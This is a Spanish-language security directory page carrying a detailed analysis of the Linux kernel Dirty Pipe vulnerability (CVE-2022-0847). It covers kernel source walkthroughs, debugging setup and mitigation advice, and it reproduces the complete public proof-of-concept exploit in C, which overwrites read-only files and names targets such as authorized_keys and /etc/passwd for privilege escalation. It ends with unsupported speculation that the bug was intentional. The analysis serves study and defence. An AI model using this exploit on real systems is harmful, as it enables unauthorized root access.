Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-0847 — Exploit de prueba de concepto y análisis detallado de la vulnerabilidad de escalada de privilegios CVE-2022-0847 (Dirty Pipe) del kernel de Linux, incluido un entorno Docker para pruebas y depuración. | Kitploit
Herramientas/GitHubGitHub/chenaotian/cve-2022-0847
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónExplotación de BinariosLabs y Práctica
GitHubchenaotian/cve-2022-0847

CVE-2022-0847

Exploit de prueba de concepto y análisis detallado de la vulnerabilidad de escalada de privilegios CVE-2022-0847 (Dirty Pipe) del kernel de Linux, incluido un entorno Docker para pruebas y depuración.

Ver Repositorio
25754hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-0847 Dirty Pipe análisis de escalada de privilegios en Linux

[toc]

Este artículo se publicó originalmente en la cuenta pública de seguridad de Huawei, esta es la versión del blog (más completa)

Enlace original: https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg

Resumen de la vulnerabilidad

ID de vulnerabilidad: CVE-2022-0847 (alias: Dirty Pipe)

Producto vulnerable: kernel de Linux - syscall splice

Versiones afectadas: Linux 5.8 (introducido por el parche f6dd975583bd) ~ 5.16.11, 5.15.25, 5.10.102 (corregido)

Impacto: permite escribir hasta una página de contenido (suficiente) en cualquier archivo legible, pudiendo escalar privilegios localmente.

Configuración del entorno

Docker de análisis de la vulnerabilidad: chenaotian/cve-2022-0847 (si aún no se puede acceder, es porque aún no lo he subido)

Proporciona:

  • Kernel de Linux 5.13 compilado con la vulnerabilidad y con soporte de depuración
  • qemu, gdb, código fuente de Linux 5.13
  • exploit

Inicio:

root@kitploit:~
cd ~/cve-2022-0847
gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
find . | cpio -o --format=newc > ../rootfs.img
cd ../ 
./boot.sh

Depuración:

root@kitploit:~
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b do_splice
b copy_page_to_iter_pipe 
b pipe_write
ignore 3 15
...
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

Principio de la vulnerabilidad

El principio básico de la vulnerabilidad es que al llamar a la función splice, se puede enviar un archivo a la pipe mediante "copia cero". A nivel de código, la copia cero consiste en usar directamente la página de caché del archivo (page cache) como página buf de la pipe. Sin embargo, aquí se introduce un error de inicialización de variable, lo que provoca que la página de caché del archivo sea tratada posteriormente en el canal pipe como una página de caché normal de la pipe, permitiendo su "reescritura" y, por lo tanto, su modificación. No obstante, en esta situación, el kernel no considera esta página de caché como "sucia" y no la vacía a disco en un corto período de tiempo (hasta el próximo reinicio, por ejemplo). Durante ese tiempo, todos los accesos a ese archivo utilizarán la página de caché modificada, logrando así una operación de "escritura arbitraria en cualquier archivo legible durante un breve período". Esto puede utilizarse para escalar privilegios localmente.

Punto de ocurrencia de la vulnerabilidad

Según el parche, el punto de ocurrencia está en la función copy_page_to_iter_pipe, donde se añadió la inicialización de buf->flags. Por lo tanto, se trata de una vulnerabilidad de variable no inicializada.

image-20220308170149137

El punto de llamada de copy_page_to_iter_pipe se encuentra dentro de la syscall splice. La función splice (llamada al sistema) transporta el contenido de un archivo a la tubería mediante un método de "copia cero". Esto tiene un mejor rendimiento que enviar directamente el contenido del archivo a la tubería. Se explicará con más detalle a continuación.

Principio de pipe y pipe_write

Primero, para entender la vulnerabilidad "Dirty Pipe", hay que conocer la pipe. La pipe es un canal de comunicación proporcionado por el kernel, creado mediante las funciones pipe/pipe2, que devuelven dos descriptores de archivo: uno para enviar datos y otro para recibirlos, similar a dos extremos de una tubería. No se entrará en más detalles.

image-20220309124007780

Brevemente, en la implementación del kernel, el espacio de caché de la pipe tiene normalmente una longitud total de 65536 bytes, gestionado en páginas: 16 páginas en total (4096 bytes cada una). Las páginas no son contiguas, sino que se gestionan mediante un array, formando una lista circular. Se mantienen dos punteros de lista: uno para escribir (pipe->head) y otro para leer (pipe->tail). Aquí se analiza principalmente la función pipe_write:

linux-5.13\fs\pipe.c : 400 : pipe_write

root@kitploit:~
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
	struct file *filp = iocb->ki_filp;
	struct pipe_inode_info *pipe = filp->private_data;
	unsigned int head;
	ssize_t ret = 0;
	size_t total_len = iov_iter_count(from);
	ssize_t chars;
	bool was_empty = false;
	bool wake_next_writer = false;

	··· ···
    ··· ···
	head = pipe->head;
	was_empty = pipe_empty(head, pipe->tail);
	chars = total_len & (PAGE_SIZE-1);
	if (chars && !was_empty) { 
        //[1] Si la caché de la pipe no está vacía, intenta continuar escribiendo desde la última página actual
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

		if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
		    offset + chars <= PAGE_SIZE) { 
            /*[2] Clave: si el flag PIPE_BUF_FLAG_CAN_MERGE está presente, significa que la página permite continuar escribiendo.
             * Si la longitud a escribir no cruza el límite de la página, se continúa escribiendo; de lo contrario, se usa una nueva página */
			ret = pipe_buf_confirm(pipe, buf);
			···
			ret = copy_page_from_iter(buf->page, offset, chars, from);
			···
			}
			buf->len += ret;
			···
		}
	}

	for (;;) {//[3] Si no se puede continuar en la página anterior, se usa una nueva página
		··· ···
		head = pipe->head;
		if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
			unsigned int mask = pipe->ring_size - 1;
			struct pipe_buffer *buf = &pipe->bufs[head & mask];
			struct page *page = pipe->tmp_page;
			int copied;

			if (!page) {//[4] Solicitar una nueva página
				page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
				if (unlikely(!page)) {
					ret = ret ? : -ENOMEM;
					break;
				}
				pipe->tmp_page = page;
			}

			spin_lock_irq(&pipe->rd_wait.lock);

			head = pipe->head;
			··· ···
			pipe->head = head + 1;
			spin_unlock_irq(&pipe->rd_wait.lock);

			/* Insert it into the buffer array */
			buf = &pipe->bufs[head & mask];
			buf->page = page;//[5] Colocar la nueva página en el array de páginas
			buf->ops = &anon_pipe_buf_ops;
			buf->offset = 0;
			buf->len = 0;
			if (is_packetized(filp))
				buf->flags = PIPE_BUF_FLAG_PACKET;
			else
				buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
            	//[6] Establecer flag, por defecto PIPE_BUF_FLAG_CAN_MERGE
			pipe->tmp_page = NULL;

			copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); 
            //[7] Copiar datos
			··· ···
			ret += copied;
			buf->offset = 0;
			buf->len = copied;

			··· ···
		}
        ··· ···
    }
	··· ···
	return ret;
}
  1. Si la tubería actual (pipe) no está vacía (head==tail indica tubería vacía), significa que hay datos no leídos; se obtiene el puntero head, que apunta a la página más reciente usada para escribir, y se comprueban len y offset de esa página (para encontrar el final de los datos). A continuación, se intenta continuar escribiendo en la página actual.
  2. Se comprueba si la página actual tiene el flag PIPE_BUF_FLAG_CAN_MERGE. Si no está presente, no se permite continuar escribiendo en ella. O si los datos a escribir, concatenados con los anteriores, superan el tamaño de una página (es decir, la escritura cruza el límite de página), en ese caso no se puede continuar.
  3. Si no se puede continuar en la página anterior, se usa una nueva página.
  4. alloc_page solicita una nueva página.
  5. Coloca la nueva página al inicio del array (posiblemente reemplazando una página existente) e inicializa valores.
  6. buf->flag se inicializa por defecto con PIPE_BUF_FLAG_CAN_MERGE, ya que por defecto se permite continuar escribiendo en la página.
  7. Copia los datos escritos; si no se termina, repite la operación anterior.

La clave para explotar la vulnerabilidad está en el flag PIPE_BUF_FLAG_CAN_MERGE que no se inicializa en splice, lo que determina si podemos continuar escribiendo en una página de pipe que no se ha terminado de escribir.

splice y copy_page_to_iter_pipe

Como se mencionó anteriormente, pipe gestiona 16 páginas como caché. El método de copia cero de splice consiste en reemplazar directamente la página de caché de la pipe por la página de caché del archivo (cambiando el puntero de la página de caché de la pipe para que apunte a la página de caché del archivo).

image-20220309124515813

La pila de llamadas desde la syscall splice hasta la función vulnerable copy_page_to_iter_pipe es profunda. No se analizará en detalle; la pila es la siguiente:

  • SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
    • splice_file_to_pipe -> do_splice_to
      • generic_file_splice_read (in->f_op->splice_read por defecto es generic_file_splice_read)
        • call_read_iter -> filemap_read
          • copy_page_to_iter -> copy_page_to_iter_pipe

La función copy_page_to_iter_pipe, donde reside la vulnerabilidad, se encarga de redirigir la estructura de la página de caché de pipe hacia la página de caché del archivo que se va a transferir:

linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe

root@kitploit:~
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
			 struct iov_iter *i)
{
	struct pipe_inode_info *pipe = i->pipe;
	struct pipe_buffer *buf;
	unsigned int p_tail = pipe->tail;
	unsigned int p_mask = pipe->ring_size - 1;
	unsigned int i_head = i->head;
	size_t off;

	··· ···

	off = i->iov_offset;
	buf = &pipe->bufs[i_head & p_mask];//[1] Obtener la página de caché de pipe correspondiente
	··· ···
	
	buf->ops = &page_cache_pipe_buf_ops;//[2] Modificar la información de la página de caché de pipe para que apunte a la página de caché del archivo
	get_page(page);
	buf->page = page;//[2] El puntero de página apunta ahora a la página de caché del archivo
	buf->offset = offset;//[2] offset, len se establecen según la información actual (determinada por los parámetros de la syscall splice)
	buf->len = bytes;

	pipe->head = i_head + 1;
	i->iov_offset = offset + bytes;
	i->head = i_head;
out:
	i->count -= bytes;
	return bytes;
}
  1. Primero, según la estructura circular del array de páginas de pipe, encuentra la posición actual del puntero de escritura (pipe->head).
  2. Hace que la página que se va a escribir apunte a la página de caché del archivo preparada, y establece otra información, como len, que está determinada por los parámetros de la syscall splice. Aquí no se inicializa el flag, lo que causa la vulnerabilidad.

Normalmente, después de inicializar pipe->bufs, se ve así:

image-20220308165052936

Según el código de pipe_write analizado anteriormente, si se vuelve a llamar a pipe_write para escribir datos en la pipe, el puntero de escritura (pipe->head) apuntará a la página de la figura anterior, y el flag será PIPE_BUF_FLAG_CAN_MERGE. Entonces se considerará que se puede continuar escribiendo en esa página, siempre que la longitud no cruce el límite de la página:

root@kitploit:~
#define PIPE_BUF_FLAG_CAN_MERGE	0x10	/* can merge buffers */

if (chars && !was_empty) { 
        //[1] Si la caché de la pipe no está vacía, intenta continuar escribiendo desde la última página actual
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

    if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
                offset + chars <= PAGE_SIZE) { 
                /*[2] Clave: si el flag PIPE_BUF_FLAG_CAN_MERGE está presente, significa que la página permite continuar escribiendo.
                 * Si la longitud a escribir no cruza el límite de la página, se continúa escribiendo; de lo contrario, se usa una nueva página */
                ret = pipe_buf_confirm(pipe, buf);
                ···
                ret = copy_page_from_iter(buf->page, offset, chars, from);

Mecanismo de page cache en Linux

Linux coloca los archivos abiertos en páginas de caché; las páginas de caché se mantienen durante un tiempo después de ser usadas para evitar operaciones de E/S innecesarias. En un corto período, acceder al mismo archivo operará sobre la misma página de caché del archivo, en lugar de abrirlo repetidamente. Al modificar esta página de caché mediante el método descrito, durante un breve tiempo todas las operaciones de acceso (lectura) a ese archivo leerán la página de caché modificada, completando así la explotación.

Explotación de la vulnerabilidad

Como se ha descrito, el proceso de explotación es muy simple; basta con entender el principio de la vulnerabilidad. Según las instrucciones del autor, se divide aproximadamente en los siguientes pasos:

  1. Crear una tubería.
  2. Llenar la tubería (mediante pipe_write), para que todos los buf (páginas de caché de pipe) se hayan inicializado, con el flag por defecto PIPE_BUF_FLAG_CAN_MERGE.
  3. Vaciar la tubería (mediante pipe_read), de modo que cuando se use la syscall splice para transferir el archivo, se reutilicen las estructuras buf ya inicializadas.
  4. Llamar a la función splice para transferir el archivo que se desea modificar.
  5. Continuar escribiendo contenido en la pipe (pipe_write); en este punto se sobrescribirá la página de caché del archivo, logrando una modificación temporal del archivo.

Depuración de detalles

Después del segundo paso, después de llenar y vaciar la tubería, se puede ver en la estructura bufs los datos que se reutilizarán (contenido no inicializado):

root@kitploit:~
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

image-20220308173705037

Después de la transferencia con splice, el archivo se ha introducido y se ve así. El flag no está inicializado, y len debe establecerse lo más pequeño posible, porque cuanto más pequeño sea, mayor será la longitud que podremos escribir posteriormente al "continuar". Aquí se establece en 1, y el desplazamiento es la dirección inicial que se desea modificar. Esto hará que el puntero pipe->bufs->page apunte a la dirección inicial:

root@kitploit:~
splice(fd, &offset, p[1], NULL, 1, 0);

image-20220308165052936

Al llamar nuevamente a pipe_write, se cumple la condición de continuar escribiendo, y se escribe directamente en la página:

image-20220308174556226

Exploit (exp)

No es mío, está en la divulgación de la vulnerabilidad:

root@kitploit:~
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main(int argc, char **argv)
{
	if (argc != 4) {
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
		return EXIT_FAILURE;
	}

	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	printf("It worked!\n");
	return EXIT_SUCCESS;
}

Escalada de privilegios exitosa:

root@kitploit:~
gcc exp.c -o exp --static
./exp file offset string

image-20220308172336511

Actualmente se demuestra el efecto de escritura arbitraria en archivos. Para una explotación concreta, se podría modificar /etc/passwd, claves SSH, o algunos archivos SUID, etc., para lograr una escalada de privilegios real. Aquí no se realizará la operación práctica (de todas formas no estoy haciendo penetración).

Algunas limitaciones (sin importancia)

  1. No se puede cambiar el tamaño del archivo (no se puede hacer más grande).
  2. La longitud máxima de escritura por operación no puede exceder una página (4 KB).

Medidas de mitigación

Solución recomendada

Como se trata de una vulnerabilidad del kernel, no hay una buena solución temporal; se recomienda actualizar el kernel a las versiones corregidas: 5.16.11, 5.15.25, 5.10.102 o superiores.

Verificación de la vulnerabilidad (herramienta)

Basado en el PoC publicado por el divulgador, se ha creado una herramienta de verificación simple. Si la vulnerabilidad está presente, muestra "There is CVE-2022-0847":

image-20220308202244668

Si no, muestra "You are safe!".

Referencias

Divulgación de la vulnerabilidad: https://dirtypipe.cm4all.com/

Teoría conspirativa

El flag PIPE_BUF_FLAG_CAN_MERGE aparece solo 5 veces en total: una en la declaración #define, dos en pipe_write. Las dos restantes están en splice:

image-20220308211006312

Y según el código en el que participa, el significado de este flag es determinar si se puede continuar escribiendo en la página de caché actual de pipe; normalmente, una página solicitada por la propia pipe es una página común, y continuar escribiendo es algo normal. ¿Cuándo no se puede continuar? Cuando la página no es solicitada por la propia pipe, no se puede modificar arbitrariamente. Por lo tanto, según la situación actual, casi solo en splice se utilizan páginas que no son de la propia pipe. En otras palabras, el flag PIPE_BUF_FLAG_CAN_MERGE fue diseñado específicamente para splice. ¿Y luego me dices que no lo inicializas?

Por lo tanto, sospecho que esta vulnerabilidad no es por descuido...

Descargar herramienta